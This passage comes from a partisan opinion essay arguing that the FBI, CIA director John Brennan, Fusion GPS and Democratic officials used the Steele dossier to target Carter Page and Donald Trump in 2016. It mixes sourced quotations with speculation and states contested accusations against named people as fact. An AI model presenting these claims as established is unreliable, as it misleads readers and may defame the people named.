Here the super spy's vaunted ability to filter out Russian disinformation appears to have failed him. Carter Page (who is no relation to Lisa Page on McCabe's team) played a negligible role in the campaign. The Trump people had placed him on a team of foreign-policy advisers, to be sure, but they had thrown the group together in haste to counter the accusation that the campaign lacked an expert bench. Page did not know Donald Trump personally. He worked in finance, with a focus on investing in Russia's energy sector, but he had no notable achievements to his name. A former boss described him, very unkindly, as ''a gray spot,'' a man ''without any special talents or accomplishments.''
Steele's allegations against Page make sense only in a Marvel Comics universe. Carter Page: by day, a mild-mannered businessman; by night, a diabolical mastermind.
The role that the super spy ascribed to Page may have been absurd, but what choice did he have? The conspiracy needed a face. That person had to have plausible connections to Russia plus a certain amount of visibility. In Trump's orbit, there were only two candidates: Manafort and Page. Manafort's ties, however, were to Ukraine, not Russia '-- and he was too well known. He had been working in Washington since the Reagan era.
Page, by contrast, had direct connections to Russia, having lived in Moscow for some three years. The modesty of his career was actually a plus, because Clinton's propagandists could present it as shadowy rather than unsuccessful. For an unknown, Page was surprisingly visible. His trip to Moscow in July 2016 had received significant press attention, not least because he had expressed opinions in favor of rapprochement with Russia and critical of American foreign policy.
With the aid of Fusion GPS, the Clinton campaign rolled out their master narrative on Trump-Putin collusion. A new orthodoxy immediately gripped the establishment press, which amplified the overwrought propaganda, complete with suggestions of dirty deals, dark conspiracies, and blackmail. It was Jeffrey Goldberg, the national correspondent (now editor) of TheAtlantic, who first trumpeted the new line. In his aptly titled article, ''It's Official: Hillary Clinton Is Running against Vladimir Putin,'' Goldberg alleged that Trump ''has chosen . . . to unmask himself as a de facto agent of Russian President Vladimir Putin.''
In ''Putin's Puppet,'' Franklin Foer of Slate examined the matter from the Russian side: ''Vladimir Putin has a plan for destroying the West '-- and that plan looks a lot like Donald Trump,'' he wrote. David Remnick's article discussing Putin's affinity for grainy sex videos made identical points. All three authors noted, with grave concern, the Russian ties of Paul Manafort and . . . Carter Page.
With the exception of Fox News, the broadcast media beat the same drum. CNN might not have accused Page of masterminding the hack of the DNC, but it recognized a dangerous man when it saw one. On August 8, for example, it devoted a long segment entirely to Page. ''What's really remarkable here,'' Jim Sciutto, CNN's chief national-security correspondent told anchorman Wolf Blitzer, is that Page's positions ''match almost word for word the positions of the Kremlin, on, for instance, alleged U.S. orchestration of pro-democracy in and around Russia. And that is sparking concern from Russia experts and former policy makers even inside the GOP.''
So Page was ''sparking concern'' even among Never-Trump Republicans? How ominous! But imagine how much more ominous it would have sounded if journalists could have reported that Page was also sparking concern in the FBI! At that moment, John Brennan, the director of the CIA, was doing his damnedest to hand journalists precisely that story.
CIA director John Brennan testifies on Capitol Hill, June 16, 2016.A Ventriloquist and His Dummy
While the establishment press was singing in harmony with the Clinton campaign, a cacophonous debate erupted inside government. At the end of July, James Clapper, the director of National Intelligence, said at a public forum that the intelligence community was not ''ready yet to make a call on attribution'' '-- not ready, that is, to attribute the DNC hack to Putin. Clapper was also unready to say that the intention of the hackers was to get Trump elected. The goal, he said, may simply have been ''to stir up trouble.'' When combined with similar comments by other intelligence officials, Clapper's statements undercut Hillary Clinton's efforts to brand Trump as Putin's active accomplice.
Enter John Brennan. In early August, Brennan launched a personal campaign to force a consensus in support of Clinton's propaganda. Before long, Clapper became his partner in this effort. They would succeed, however, only after the election '-- and then only by establishing an ad hoc and highly unorthodox intelligence-assessment team. To man the team, Brennan and Clapper handpicked a small number of analysts, tasking them with reaching a consensus before the inauguration of Donald Trump. The team, no surprise, did not disappoint. In January 2017, it produced the ''consensus'' that Brennan had been trying to orchestrate for the previous five months. By then, it was still useful as a propaganda tool against President Donald Trump, though it had arrived far too late to help Hillary Clinton win the election.
Of course, Brennan has never admitted his political motives. On the contrary, according to an in-depth Washington Post investigation (based on interviews with either Brennan himself or people very close to him), the CIA director claimed to be in possession of eye-popping intelligence reports about the DNC hack. These reports supposedly ''captured Putin's specific instructions on the operation's audacious objectives '-- defeat or at least damage the Democratic nominee, Hillary Clinton, and help elect her opponent, Donald Trump.'' Yet even if this intelligence trove actually did exist and truly did convince the CIA director, it obviously did not have the same persuasive impact on his colleagues, as evidenced by Brennan's failure to deliver a consensus assessment of Putin's motives.
In his mission to transform the intelligence community into an official choir of the Clinton campaign, Brennan ran up against a 6'7'" wall in the form of James Comey. According to the New York Times, in August 2016, ''a critical split'' emerged between ''the CIA and counterparts at the FBI, where a number of senior officials continued to believe . . . that Russia's cyberattacks were aimed primarily at disrupting America's political system, and not at getting Mr. Trump elected.'' As a component of this disagreement, Brennan may also have pressured Comey to investigate possible collusion with Russia by aides and associates of Trump.
By law, the CIA cannot spy on Americans; only the FBI has the authority to investigate citizens. But the CIA can share reports with the FBI about efforts by foreign agents to suborn individual Americans, and it can strongly urge the bureau to take action on the basis of those leads. Brennan, it would appear, did just that in July 2016.
That was the moment when the FBI opened a counterintelligence investigation into Russian efforts to influence the Trump campaign. As we mentioned, Peter Strzok, who had been in charge of Midyear Exam, took charge of this investigation, too. The genesis and scope of it, however, is shrouded in a fog of deliberate misinformation. From the little we know, the probe seems to have centered on George Papadopoulos, a young foreign-policy adviser to the Trump campaign. Acting mostly on his own initiative, Papadopoulos reached out to Russians in the hopes of brokering a meeting between Donald Trump and Vladimir Putin. In the process, he may have bumped into Russian intelligence agents.
Papadopoulos's activities took place, primarily, in London '-- a part of the world where the CIA has greater reach than the FBI. How did Comey come to learn of them? The answer is unclear, but certain clues point to Brennan.
One of these is Brennan's own testimony before the House Intelligence Committee in March 2017. The CIA, he explained, had shared certain information with the FBI '-- an apparent reference to the Papadopoulos leads. This was information, he said, ''that required further investigation by the bureau to determine whether or not U.S. persons were actively conspiring, colluding with Russian officials.'' Was Brennan taking responsibility for kick-starting the investigation into the Trump campaign? He seemed to be saying that he had dropped the Papadopoulos file on Comey's desk and said, ''Investigate Trump!''
If this supposition about the origins of the investigation in July is correct, it may also help explain Brennan's behavior in late August, when he grew increasingly exasperated with Comey. In an effort to gain allies, Brennan turned to friends in Congress for help. With the blessing of Obama, he organized a series of briefings for the so-called Gang of Eight '-- the Democratic and Republican leaders in both chambers of Congress, and the chairs and ranking minority members on the Senate and the House intelligence committees. According to the New York Times, Brennan told these senior lawmakers that he ''had information indicating that Russia was working to help elect Donald J. Trump president,'' a view that was not supported by an authoritative intelligence assessment.
Obama and Brennan explained the briefings as an effort to forge bipartisan unity in the face of the Russian threat. But if Brennan couldn't force a consensus inside the intelligence community, how could he possibly convince Republicans and Democrats to join hands '-- during a polarizing election, no less?
Democratic lawmakers became the ventriloquist's dummies, moving their lips mechanically as CIA director Brennan spoke.
This high-minded bipartisanship was simply cover for a highly partisan move. The true motive of the briefings was to ventriloquize the Democrats on the Hill. If Brennan himself had gone public with his claims about Putin, he would have called down attacks on himself for passing off Clinton propaganda as an official intelligence assessment '-- and for meddling, as the director of the CIA, in domestic politics. Democratic lawmakers who received his briefings, however, operated under no such constraints. They were perfectly free to pass along Brennan's views to the public as their own. They became the ventriloquist's dummies, moving their lips mechanically as the CIA director spoke.
Brennan placed one of them center stage. On August 25, he gave a briefing that differed from the others; he tailored its content especially to the bare-knuckle politics of its recipient, Senate Minority Leader Harry Reid. During the 2012 election, Reid had assisted President Obama by falsely claiming that his Republican presidential challenger, Mitt Romney, had paid no taxes for ten years. When later asked if spreading a false rumor wasn't reminiscent of McCarthyism, Reid responded, ''They can call it whatever they want. Romney didn't win, did he?'' With the certain knowledge that Reid, who was in any case retiring after the 2016 election, would do whatever it took to win, Brennan indulged his own partisan political passions. He told Reid, according to the New York Times, ''that unnamed advisers to Mr. Trump might be working with the Russians to interfere in the election.''
If Reid's response is anything to go by, Brennan did much more than that: He briefed the senator on information taken directly from Steele's dossier; and he complained about the recalcitrance of the director of the FBI. Two days after the briefing, Reid wrote a letter to Comey, which he immediately shared with the press. Claiming there was mounting evidence of ''a direct connection between the Russian government and Donald Trump's presidential campaign,'' Reid demanded that the FBI launch an immediate investigation. The American people, he wrote, deserve all the facts ''before they vote this November.''
The Trump campaign, Reid continued bluntly, ''has employed a number of individuals with significant and disturbing ties to Russia and the Kremlin.'' He was particularly concerned with Trump associates who may have served as what he called ''complicit intermediaries'' between the Russian government and hackers. ''The prospect of individuals tied to Trump, Wikileaks, and the Russian government coordinating to influence our election raises concerns of the utmost gravity and merits full examination.'' In an unmistakable reference to Steele's reports on Carter Page, Reid informed Comey that ''questions have been raised'' about a Trump adviser who allegedly ''met with high-ranking sanctioned individuals while in Moscow.''
Serving as Brennan's dummy, Reid publicized the Marvel Comics rendering of Carter Page, and he demanded that the FBI launch an investigation on the basis of it. Before long, Comey would obey.
President Obama and Hillary Clinton at a campaign rally in Charlotte, N.C., July 5, 2016.The Cutout
Shortly after Reid's letter, Obama asked the FBI for an update on its investigation of Russian tampering with the election. The president, Lisa Page texted to her lover Peter Strzok, ''wants to know everything we're doing.'' The text probably refers to Obama's preparations for the G-20 meeting in China, where he personally lodged a complaint with Putin about the Russian hacking. But the request is intriguing. Obama was engaging the FBI just as it stood ready to use the allegations of the Steele dossier as a basis for broadening its investigation of Trump. When Comey informed Obama about ''everything we are doing,'' did he discuss the Carter Page allegations? Did he note their source, Christopher Steele? And what about the president himself? Did Obama nudge Comey to comply with the demands of Brennan and Reid?
Whatever signals the president may have sent, McCabe and his lovebirds certainly began supporting the efforts of Brennan and Reid to paint Trump as Putin's puppet. The form of support was nuanced and clandestine. If Peter Strzok and Lisa Page had contacted their favorite reporter, Devlin Barrett, and leaked the fact that a Trump adviser was coming under investigation, the leak would have implicated the FBI. Trump and his supporters would then have castigated Comey, accusing him of intervening in politics. To avoid such problems, the lovers used a pair of cutouts '-- intermediaries who laundered the FBI's information in the same way that Reid had laundered information for Brennan.
Who better to play this role than the super duo, Simpson and Steele? Either directly or through an intermediary, Strzok shared with Steele the news of the impending investigation of Carter Page. He did so with the certain knowledge that Steele would channel it to Simpson, who, in turn, would incorporate it into his standard press briefings. (FBI representatives would later deny having used Steele as a cutout with the press, but their self-defense, as we shall see below, is demonstrably false.)
The experience of the journalist Julia Ioffe demonstrates how diligent Simpson was at spreading the news that Strzok was surreptitiously feeding him. In mid September, Ioffe published a profile on Carter Page for Politico. ''As I started looking into Page,'' she relates, ''I began getting calls from two separate 'corporate investigators' digging into what they claim are all kinds of shady connections Page has to all kinds of shady Russians.'' One of those investigators was, presumably, Simpson; the other one probably represented another dank corner of the Clinton demimonde. Both emphasized an allegation that came directly from Steele's dossier: namely, that Page, during his trip to Moscow in July, had met with Igor Sechin, who is a key Putin ally and the chairman of the Russian state oil company. The ''corporate investigators,'' however, now had something else to push, something new and very newsworthy: ''The FBI was investigating Page.''
As knowledge of the FBI's interest in Carter Page spread, Steele's credibility soared. To exploit the opportunity, Simpson flew Steele to the United States to brief select media outlets in person. Thanks to the information that McCabe's team was leaking to the press through Steele, Simpson could repackage the super spy. No longer just a former MI6 operative working as an ''independent'' researcher, Steele was now a trusted colleague of the FBI's. He possessed unique insight into the fears of American counterintelligence officials about Trump's nefarious relations with Putin.
For the first time, Steele agreed to go on the record as a quoted source for journalists. This round of briefings generated an article, written by veteran Yahoo reporter Michael Isikoff. Entitled ''U.S. Intel Officials Probe Ties between Trump Adviser and Kremlin,'' it focused, naturally, on Carter Page. Isikoff reported that American officials had ''received intelligence reports'' that Page had met with Sechin. ''At their alleged meeting,'' Isikoff reported, ''Sechin raised the issue of the lifting of sanctions with Page, the Western intelligence source said.'' A Western intelligence source? That would be Christopher Steele. By identifying the super spy in this manner, Isikoff disguises (wittingly or unwittingly) Steele's identity as a Clinton operative and as the author and disseminator of the reports in question. The moniker had the added benefit of making Steele seem to work for a Western government, creating the illusion of transatlantic trepidation about the cunning Carter Page.
Confirmation of the article's central claims came from two other sources. The first was a ''senior U.S. law enforcement official,'' who told Isikoff that Page's meetings in Moscow were ''being looked at.'' Would that be Andrew McCabe, Peter Strzok, or Lisa Page? The second confirmation came from ''a congressional source familiar with . . . briefings'' that lawmakers had received about Carter Page's meetings in Moscow. Would that be Harry Reid? Whether these were indeed the correct identities, it is obvious where Isikoff found his sources: on Glenn Simpson's Rolodex. Here was a story processed and canned in Fusion GPS's information factory. All Isikoff had to do was add water and shake. His sources were all part of a single network conspiring to hoodwink the public.
Why did Comey participate in this fraud? Perhaps it was to get Brennan and Reid off his back. On the risk side of the ledger, the dangers were minimal. Today the Isikoff article is a fingerprint on a hot bullet casing, irrefutable proof placing the FBI at the scene of the crime. But in September 2016, the chances of anyone ever tying the bureau to it were negligible. Although the article announced with great flourish the opening of an investigation into Carter Page, it's not even clear that, at this point, Page was truly an official target of the probe.
The important thing to Brennan and Reid was helping Hillary Clinton win the election. What they desired most from the FBI was a public statement that the Trump team was under investigation for conspiring with Putin. With the Isikoff article, Comey didn't fully satisfy them, but he threw them a bone.
On the reward side of the ledger, he showed Hillary Clinton and her friends that he was, despite everything, a team player. And his contribution to the team effort was indeed significant. The FBI's leaks were indispensable in giving super-flack Glenn Simpson a stable of seemingly independent sources willing to go on the record about the grave concern sweeping the Western world about, of all people, Carter Page.
FBI Deputy Director Andrew McCabe speaks at a press conference, July 20, 2016.Get Carter
''Mr. Page is not an advisor and has made no contribution to the campaign,'' said a Trump spokesman in reaction to the media storm over the Isikoff article. If Carter Page thought this disavowal would return some normalcy to his life, he was sadly mistaken. It actually put a target on his back. So long as he was officially affiliated with the Trump campaign, Comey would no doubt hesitate to seek a surveillance warrant, for fear of laying the FBI open to the charge of engaging in politically motivated spying. After the disavowal, Comey had more room for maneuver. He therefore gave the go-ahead to seek a surveillance warrant.
Widening the probe to include Page carried a little additional risk for Comey, but not much. If Clinton were to win the election, as everyone expected, then she would never punish him for the move. If Trump were to win and learn about the probe, it would certainly enrage him. But the investigation could also be useful as leverage. Peter Strzok put it well in a text to Lisa Page a month earlier. On August 15, 2016, referring to the possibility of a Trump victory, Strzok wrote:
I want to believe the path u threw out 4 consideration in Andy's [McCabe's] office '-- that there's no way he gets elected '-- but I'm afraid we can't take that risk. It's like an insurance policy in the unlikely event u die be4 you're 40.
Strzok, presumably, was saying that a counterintelligence operation against Trump and his team would give the FBI leadership a species of job insurance, similar to the job insurance that J. Edgar Hoover enjoyed in his day. Presidents dared not fire Hoover, because he kept a black book on them all.
Strzok's team began the process of seeking a surveillance warrant on Carter Page from the court established by the Foreign Intelligence Surveillance Act, known as FISA. The FISA court's proceedings are not public, because they treat top-secret intelligence. To seek a warrant against Carter Page required the FBI to show probable cause that he was acting as an agent of Russia. In preparation for the warrant application, the FBI flew Steele to Rome for a face-to-face meeting with his main FBI contact. According to the New York Times, the handler told Steele that the FBI ''would pay him $50,000'' if he ''could get solid corroboration of his reports.'' It was an incriminating admission. Steele's reports on Page's Moscow trip were two months old. The U.S. government '-- that is, the FBI and the CIA '-- hadn't produced an iota of corroboration '-- and yet on the basis of those stale reports, it had suddenly decided to target Page as a probable agent of a foreign power.
Why? Because without the Carter Page who appeared in the Steele dossier '-- without the Marvel Comics villain, there existed no credible intelligence pointing to a criminal conspiracy between Trump and Putin. If the investigation was to be sufficiently broad to dig up dirt on Trump, it had to include the fanciful allegations against Page. These, however, were impossible to corroborate '-- because they were fictive. They did, however, include one claim that, if shorn of context, wasn't as transparently silly as the others: namely, that Page had met with Sechin, the chairman of the Russian state oil company. To be sure, Steele's report of the meeting contained the outlandish claim that Page had negotiated with Sechin on lifting American sanctions against Russia. But if McCabe's team were to downplay this aspect as much as possible and focus instead on whether the meeting actually took place (it didn't) '-- well, that could make it appear like a worrisome allegation calling out for a sober follow-up.
The super spy sprang into action. He tapped his daisy chain of paid Russian informants, and before McCabe's team submitted the FISA warrant application, he produced some short reports supposedly confirming the meeting with Sechin. Steele discovered in his network another ''source'': the friend of one of Sechin's friend, who had heard from Sechin and from Sechin's personal assistant that indeed Sechin had met with Page. Confirmation?! The ''source'' also reported that Sechin offered Page, in return for Trump lifting of U.S. sanctions on Russia, a personal reward: a 19 percent stake in the Russian state-owned oil company '-- a haul worth millions upon millions, or probably billions.
No mere criminal mastermind, Page was master negotiator as well! Cartoonish depictions such as this constitute the primary basis on which the FBI made the case that Page was probably a foreign agent and that, in addition, he had probably broken American law '-- the legal standard for issuing surveillance warrants. The application for a warrant against Page is locked behind a top-secret classification. But McCabe testified before the House Intelligence Committee in December 2017 that without Steele's information, the FBI could not have secured a surveillance warrant. And according to Senators Chuck Grassley and Lindsey Graham, who have read the original warrant application and the three renewal applications, ''the bulk'' of the material on which the FBI made its case against Page came in the Steele dossier. What is more, the application contained, in the words of the two senators, ''no additional information corroborating the dossier allegations'' '-- no additional information, that is, except for one newspaper article: the Isikoff piece.
McCabe's team supported an application based primarily on Steele's allegations by offering the judges an article that itself was based solely on Steele's reports.
Alfa Shmalfa
Placing Page under surveillance marked the high point of the cooperation between McCabe's team and the super duo Simpson and Steele. But nefarious partnerships are prone to unravel; and when they do, they unravel quickly. Only ten short days after McCabe's team pulled the wool over the eyes of the FISA-court judges, Simpson and Steele broke off relations with the FBI in a fit of anger and bitterness.
Relations started to fray amid an effort by the super duo to stage a repeat of their Isikoff triumph. At some point in October, Simpson brought Steele to the United States for a second round of in-person briefings with major news outlets. Unfortunately, not one of these outlets has seen fit to disclose the subject of the briefings, so their precise details are sketchy. Still serving as FBI cutouts, the super duo probably updated reporters on the FISA warrant application and other aspects of the Trump-Russia investigation. If so, they may have intended for that information to serve as filler in articles about a new scoop that Simpson was offering reporters. A journalist whom Fusion GPS briefed at that time subsequently told the Washington Times that Simpson was pushing a story about a secret computer link-up between Trump and a Russian bank.
According to the New York Times, news of the link-up had started to see the light of day thanks to the ''classified'' briefings that Brennan had organized for trusted Democrats on Capitol Hill. Intelligence officers disclosed, in the words of the Times, ''the possibility of financial ties between Russians and people connected to Mr. Trump,'' including ''a mysterious computer back channel between the Trump Organization and the Alfa Bank, which is one of Russia's biggest banks and whose owners have longstanding ties to Mr. Putin.'' John Brennan had designed those briefings to be leaky, so it should come as no surprise that word of the Alfa Bank investigation flowed directly to Fusion GPS.
Following the winning formula that had produced the Isikoff article, Simpson provided reporters with the scoop. At first, the plan proceeded flawlessly. Franklin Foer of Slate ran a breathless story about the secret communications between the servers. Do we know with certainty that Foer's information came directly from Fusion GPS? No. It's certainly possible that, as we saw in the case of Julia Ioffe, some other agent emerged from the shadows of the Clinton demimonde to serve it up to him. Whatever the source of the information, Foer thought he might just have discovered the greatest piece of incriminating evidence yet '-- and Hillary Clinton agreed.
The Clinton campaign called on the FBI to investigate.
The speed and enthusiasm of her endorsement suggest more than a measure of coordination. She immediately sent out not one, but two tweets flagging Foer's piece. One of them attached a statement from her campaign, which added heart palpitations and comic-book imagery to Foer's breathlessness. Slate's discovery of a ''secret hotline,'' the statement said, might unlock the mystery behind Trump's love for Putin, and it might also explain why Russia was ''masterminding'' cyber theft designed ''to hurt Hillary Clinton's campaign.'' The Clinton campaign called on the FBI to investigate.
Clearly, this was the cue for McCabe's lovers to chime in. Their role was to affirm by means of a leak that the FBI was taking very seriously this threat to national security, investigating with all the diligence that the American people expect of their premier law-enforcement agency. Foer's story came out on October 31 '-- a week and a day before the voters went to the ballot box. If McCabe's team had stuck to the script, the media would have spent the final week before the election talking of nothing but the ''secret hotline'' that connected Putin to the lair of his evil minion high atop Trump Tower.
But McCabe's team double-crossed Steele and Simpson '-- or so the super duo must have felt. On the same day the Slate article appeared, the New York Times reported that the FBI had investigated the link between Alfa Bank and Trump Tower. The Bureau, the Times said, had concluded ''that there could be an innocuous explanation, like a marketing email or spam, for the computer contacts.'' This single sentence wiped out weeks of diligent work by Fusion GPS. As if to console Simpson and Steele, the article did reveal that the FBI, all summer long, had been conducting an investigation into the potential ties between the Trump campaign and Russia. And the Times even disclosed details of the probe '-- information that came courtesy, one assumes, of briefings from Fusion GPS.
But to Simpson and Steele the inclusion of those details was the bitterest of consolation. The damage the Times visited on their propaganda campaign was not limited to undermining the Alfa Bank story. The article included two additional facts, each as destructive as the other: The FBI's wide-ranging investigation into Trump had revealed no collusion with Putin, and the FBI did not even believe that Putin was trying to get Hillary Clinton elected. In a convulsive fit of journalistic integrity, the Times had rejected Fusion GPS's master narrative '-- and it had done so on the basis of authoritative leaks from the FBI. Someone in the J. Edgar Hoover Building had dropped a pallet of bricks on Simpson and Steele. Who?
FBI director James Comey testifies on Capitol Hill, July 7, 2016.The Return of Joe Friday
The collapse of the ''secret hotline'' story was part of a larger falling-out between the FBI and the super duo '-- and not by any means the most important part. The event that truly doomed their relations was an announcement, on October 28, that the FBI was reopening the Clinton email investigation. And the character standing at the center of that decision was James Comey.
The bureau had learned that Huma Abedin, Hillary Clinton's trusted right hand, had forwarded thousands of emails to a computer in her home, which Anthony Weiner had put to personal use. Weiner was a former congressman, and he was Abedin's husband. But he was also a criminal under investigation by the FBI. In her ''well-intentioned but careless'' use of government correspondence, Abedin had streamed thousands of official emails to the laptop of a pedophile.
James Comey's July statement closing the Clinton email case coincided with Guccifer 2.0's release of the DNC emails, and it helped build the impression of Hillary Clinton as the entitled CEO of Clinton, Inc. This reopening of the case, coming just a week before the election, was also timed for maximum visibility and carried a similar political valence. It was the third in a string of blows that Clinton received in the final stage of the election. The first came at a September 11 memorial commemoration in New York, where she had stumbled badly and seemed to faint, raising doubts about her stamina and health. On October 7, WikiLeaks published the first trove of emails stolen, presumably by Russian intelligence, from her campaign manager John Podesta. The emails were further grist for the mill of those who argued that Bill and Hillary Clinton were running a Tammany Hall for the 21st century. With Clinton stumbling, both literally and figuratively, the director of the FBI seemed determined to knock her back down.
What was he thinking? Comey now claims that he assumed Hillary Clinton would win. He feared that, after the election, people would come to learn that he had hidden the issue of Abedin's laptop from the public, and they would accuse him of giving unfair consideration to Clinton. That calculation may indeed have been part of his thinking. But he may also have been hedging against a Trump victory. The announcement about the laptop was a card that he could play to ingratiate himself to Trump '-- to offset the damage of the leaks about the Russia investigation. On top of those machinations, there was the old story: Comey's love of the spotlight. Here he was again in a national drama playing the entirely principled and apolitical lawman. He was in Joe Friday heaven.
For their part, Clinton and her camp read the FBI director's move as treachery most vile. In a scream of rage masquerading as a letter to Comey, Harry Reid spoke for the team. Comey, he wrote, was breaking the law by engaging in partisan political activity in support of Trump. Whereas Comey never hesitated to publicize damaging ''innuendo'' against Clinton, he was protecting Trump from public humiliation. ''It has become clear that you possess explosive information about close ties and coordination between Donald Trump, his top advisers, and the Russian government '-- a foreign interest openly hostile to the United States, which Trump praises at every opportunity,'' Reid fumed. ''The public has a right to know this information.'' To underscore that point, he published the letter immediately.
Glenn Simpson and Christopher Steele shared the sense of betrayal. Simpson later testified to the House intelligence committee:
At that point I felt like the rules had just been thrown out and that Comey had violated . . . one of the more sacrosanct policies, which is not announcing law enforcement activity in the closing days of an election. . . . We decided that if James Comey wasn't going to tell people about this investigation that, you know, he had violated the rules, and [it] would only be fair if the world knew that both candidates were under FBI investigation.
So Simpson and Steele ''began talking to the press.''
And with that, the super duo brought about the end of their secret partnership with McCabe's team. The bureau expects its cutouts to behave as cutouts: that is to say, they must launder secrets. Sensitive and classified information must never appear in the press in a form that betrays its FBI origins.
Comey announced the reopening of the Clinton email case on Friday, October 28. Simpson moved quickly. He arranged a Skype interview between Steele, who was now back in London, and David Corn, a veteran journalist at Mother Jones. On October 31, Corn reported that ''a former senior intelligence officer for a Western country who specialized in Russian counterintelligence'' told him ''that in recent months he provided the bureau with memos, based on . . . Russian sources, contending that the Russian government has for years tried to co-opt and assist Trump '-- and that the FBI requested more information from him.'' The FBI response, Steele told Corn, was ''shock and horror.'' In August, the FBI asked for more of Steele's memos. ''It's quite clear there was or is a pretty substantial inquiry going on.'' To ensure that Corn understood the nature of the inquiry, Steele shared with him the text of the reports that he had given to the Bureau.
Steele's decision to expose his partnership with the FBI gave McCabe's team no choice but to terminate the relationship. The break-up was ugly, but its very messiness would later prove useful. In late 2017, congressional investigators would begin questioning the FBI's senior leaders about the role Steele had played as a cutout. The senior leaders would point to the break-up as proof of the FBI's integrity. Steele, they said, had been lying all along to the Bureau about his work with journalists. McCabe's team had no idea that he was funneling the FBI's secrets to the media. It was the Mother Jones interview that alerted them to Steele's duplicity; the moment it became clear, they immediately terminated the relationship.
We have a word to describe the use of fabricated evidence to make an innocent man appear guilty: The Obama administration framed Carter Page. But not only Carter Page. The Obama administration framed Donald Trump.
This alibi won't wash. McCabe's team was fully aware, in September, that Steele stood behind the Isikoff article. In fact, the appearance of ''a senior U.S. law enforcement official'' in the article implicates McCabe's team more or less directly. In short, Steele's FBI handlers were aware of his role in leaking information at that time, and it caused them no consternation. On the contrary, after the Isikoff article, the FBI drew Steele even closer, flying him to Rome and offering him $50,000. His work as a cutout received further tacit commendation when McCabe's team used the Isikoff article to dupe the FISA-court judges.
The troubles that eventually befell Steele and McCabe's team have no bearing on the simple facts: They worked as partners in prosecuting a campaign of innuendo against Carter Page in September, and again in placing him under surveillance in October. What is more, the surveillance order went beyond McCabe's team, to the highest levels in the FBI and the DOJ. James Comey had to sign off on that decision '-- and that fact implicates him in a serious abuse of power.
Steele's description of Carter Page's activities in Moscow is comical. We have a word to describe the use of fabricated evidence to make an innocent man appear guilty: The Obama administration framed Carter Page. But not only Carter Page. According to Steele's dossier, Page was in Moscow to cut a deal on another's behalf: He was an emissary '-- the trusted agent of Donald Trump. Without Steele's allegations against Carter Page '-- without, that is, the story of Page negotiating with Sechin to remove the sanctions '-- there was no credible allegation of a Trump-Putin conspiracy. The FBI, therefore, carried out a campaign of innuendo against Donald Trump in September. And the Obama administration placed him under investigation in October, if not earlier. The Obama administration framed Donald Trump.
Second Sight
During the Watergate scandal, the press popularized the phrase ''the non-denial denial.'' The Nixon White House had a special talent for issuing statements that sounded like categorical denials of allegations but that, upon close parsing, affirmed them to be true. In the matter of the Steele dossier, Obama officials, some of their allies in Congress, and senior leaders in the FBI have developed an analogous ploy: the ''non-verification verification.'' These are statements that distance the speaker from the laughable fantasies of the Steele dossier while still affirming that the tale of collusion it weaves must be taken seriously.
The unrivaled master of the move is John Brennan. In a recent appearance on NBC's Meet the Press, Brennan defended the FBI's use of the Steele dossier in its FISA warrant application. He railed against the FBI's critics, whom he depicted as partisan hacks. He played the role of sober intelligence professional. Expressing his personal appraisal of the dossier when he was still director of the CIA, he said, ''There were things in that dossier that made me wonder whether or not they were, in fact, accurate and true.''
Exactly what things? Was it the dossier's view of Page as the diabolical mastermind of the DNC hack that struck the CIA director as credible? Avoiding the dossier's specific allegations, Brennan maintained his front and asserted, with the somber tone of a button-down national-security professional, that Steele's reports contain valuable intelligence leads. ''I think Jim Comey has said that it contained salacious and unverified information,'' Brennan continued. ''Just because it was unverified didn't mean it wasn't true.''
The non-verification verification is central to the distinctive nature of the Obama administration's abuse of power. Most of our debate has focused on how the FBI used the Steele dossier to validate the investigation of Carter Page. This issue is important, to be sure, but it must not deflect us from seeing that the reverse is also true: The administration deliberately used the investigation of Page to validate the dossier.
Consider, again, the coy Brennan. When questioners push him to explain what in the Steele dossier he finds compelling, he habitually takes shelter behind secret sources '-- evidence hidden behind a classified screen, where only he, the chief intelligence professional, was permitted to see it. ''I was aware of intelligence . . . about contacts between Russian officials and U.S. persons that raised concerns in my mind about whether . . . those individuals were cooperating with the Russians . . . and it served as the basis for the FBI investigation to determine whether such collusion [or] cooperation occurred.''
Brennan's somber and self-righteous appeal to hidden secrets is the oldest con in the book.
John Brennan sees things that we cannot see. If he indeed has access to secrets that transform stories from Marvel Comics into the stuff of everyday reality, then he has done a very poor job of explaining what they are. Moreover, no disinterested intelligence professional has supported him. Brennan's somber and self-righteous appeal to hidden secrets is the oldest con in the book. Just replace his top-secret computer monitor with a crystal ball or dried chicken bones, and his scam is the same one that Gypsy fortunetellers ran on superstitious peasants in early-modern Europe, or that soothsayers were operating in Homer's Greece.
With respect to the framing of Trump, however, the second-sight scam required elaborate orchestration, the work of many hands. The key was the double-tracking of the dossier. Hillary Clinton's enablers channeled it simultaneously into the press and into the government. They then recruited people inside government to verify to the outsiders that it was a serious document, a guide to the intelligence that reporters were not allowed to see. Without this double-tracking and official or quasi-official authentication, journalists would never have believed that they were catching a glimpse of what Brennan and the FBI saw in their crystal balls '-- pardon me, their top-secret monitors. And without leaks about investigations, journalists would have had no dossier-related news to report. Official statements that the dossier ''was being looked into'' transformed it into a legitimate topic for reputable news outlets.
This con failed in its primary goal of preventing the election of Trump, but it was nevertheless a partial success. It instilled in a significant portion of the American public the conviction that Trump indeed conspired with Putin. This conviction is especially prevalent among the lofty-minded '-- a class of people that includes Republicans as well as Democrats.
The bipartisan character of the delusion was the greatest factor that legitimated the appointment of Robert S. Mueller III, the special counsel leading the investigation into Trump's alleged relations with Russia. The lofty-minded have greeted every indictment that Mueller has handed down as confirmation of their collusion delusion. In reality, those indictments only prove that a phalanx of crack investigators armed with nearly unlimited resources, a grand jury, and an expansive mandate can draw blood almost at will. If a similar phalanx were to target Hillary Clinton and the shenanigans surrounding the Clinton Foundation, how much blood would flow? In other words, Mueller's indictments are just the latest form of the non-verification verification.
Regardless of Mueller's intentions, his probe serves as precisely the kind of ''insurance policy'' that Strzok seems to have been discussing with his lover, Lisa Page, in August 2016. Trump cannot shut down the Mueller probe and excise the rot in the DOJ and the FBI without appearing to obstruct justice. In practical terms, then, the Mueller probe is the cover-up.
Of course, the lofty-minded refuse to see it this way. The political damage that Mueller's team is inflicting on Trump helps explain why a surprising number of people mount passionate and sincere defenses of the dossier and the super spy who compiled it. The logic of partisan politics will always lead a significant percentage of people to insist, with varying degrees of true belief, that a sow's ear really is a silk purse. But partisanship is not by any means the only factor at work here. Even people with well-deserved reputations for intellectual seriousness passionately defend the integrity of Christopher Steele, a man whom the New York Times insists on calling, despite all contrary evidence, ''a whistleblower.''
